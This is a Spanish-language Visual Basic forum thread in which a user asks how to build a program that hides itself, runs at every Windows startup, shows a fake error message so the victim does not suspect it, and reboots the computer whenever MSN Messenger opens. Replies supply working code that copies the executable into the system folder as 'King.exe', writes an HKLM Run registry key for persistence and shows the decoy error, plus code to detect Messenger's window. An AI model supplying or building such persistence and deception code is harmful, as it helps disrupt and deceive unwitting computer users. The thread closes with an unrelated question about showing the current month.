Para el siguiente programa, tengo 3 dudas:
El programa lo que hace es meterse en le regedit de windows y abrirse siempre que se inicie windows, lo primero da una msgbox de error del programa pa que no desconfie, luego cada vez que inicia messenger reinicia el ordenador.
Dudas:
1º.- ¿Cómo hago que se haga algo cada vez que se inicie el messenger?
2º.- La primera vez tienes que meterse en el regedit de windows, lanzas la msgbox... ¿pero cómo hago eso?, es decir, ¿cómo hago que unas cosas las haga sólo la primera vez y, otras, siempre?
3º.-En el regedit de windows dice donde está el fichero para que se inicie, pero yo creo que alguien lo mas mínimo listo lo borraría, así que, ¿hay alguna forma de que se guarde a sí mismo y se oculte para que no se de cuenta el usuario?
Gracias
Citar1º.- ¿Cómo hago que se haga algo cada vez que se inicie el messenger?
una forma facil es buscar la ventana del messenger, o buscar el proceso con el nombre del ejecutable que buscas.
Citar2º.- La primera vez tienes que meterse en el regedit de windows, lanzas la msgbox... ¿pero cómo hago eso?, es decir, ¿cómo hago que unas cosas las haga sólo la primera vez y, otras, siempre?
pasar parametros es una buena opcion. pj: si no se le pasa ninguno es la primera ejecucion, si se le pasan ya a sido ejecutado mas de 1 vez.
Citar3º.-En el regedit de windows dice donde está el fichero para que se inicie, pero yo creo que alguien lo mas mínimo listo lo borraría, así que, ¿hay alguna forma de que se guarde a sí mismo y se oculte para que no se de cuenta el usuario?
alguien lo mas minimo listo se dara cuenta de todos modos.
y ahora que veo tu IM, no me mandes lo mismo que preguntas en el foro por privado.
¿Como hago para que busque el proceso?
¿Qué es eso de parámetros?
¿...?
Pufff... explicarme algo por favor que llevo en esto de la programacion desde marzo + o -...
??? ??? ???
Mira, con este código haces que el programa se inicie cada vez que se encienda el PC y muestra un mensaje de error SOLO la primera vez:
Set File = CreateObject("scripting.filesystemobject")
Set Regedit = CreateObject("WScript.Shell")
Form1.Visible = False
Programa = App.Path + "\" + App.EXEName + ".exe"
Set SysDir = File.GetSpecialFolder(1)
File.CopyFile Programa, SysDir & "\King.exe"
Reg = Regedit.RegRead "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\King"
If Reg = "" Then MsgBox "Aqui va el mensaje de error :P"
Reg = Regedit.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\King", SysDir & "\King.exe"
Para localizar el proceso del Messenger tienes que usar una API, y yo me llevo un poco mal con las APIS, xD
Citar¿Como hago para que busque el proceso?
¿Qué es eso de parámetros?
¿...?
Pufff... explicarme algo por favor que llevo en esto de la programacion desde marzo + o -...
si no entiendes algo pq no empiezas por algo mas facil? mirate la sección de ejercicios que tienes para entretenerte un rato.
Bien, ya lo conseguí a mi manera
para lo de que sólo la primera vez modifico una clave de 0 o 1 y listo , y para que se guarde a si mismo probe que copie el file: ".\nombreprograma.exe" pork creia que funcionaba pero.... lo copio para la carpeta de windows k casi nadie miray ya ta.... pa lo de msn me imagino que cambiara la clave k ai en el registro cuando esta activo o no, si no..... pos a discurrir...
Mira tengo una idea para detectar cuando se abra el messenger:
hacer un ejecutable que este preparado para detectar esto...
Y esta es la idea:
Option Explicit
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Dim MSN As Long
Private Sub Form_Load()
Do While MSN = 0
MSN = FindWindow(vbNullString, "MSN Messenger")
Loop
MsgBox "El Messenger esta abierto"
End Sub
Espero que te sirva...
si el messenger esta en la bandeja no lo detecta, por lo que me gusta mas buscar el proceso.
es mejor encontrar el proceso, es mas preciso, ayq ue algunos programa tienen dobles espacios en sus nombres,..
Necesito ayuda...
Necesito q el mes actual de la makina lo devuelva en un label...pero solo el mes como lo puedo hacer...muchas gracias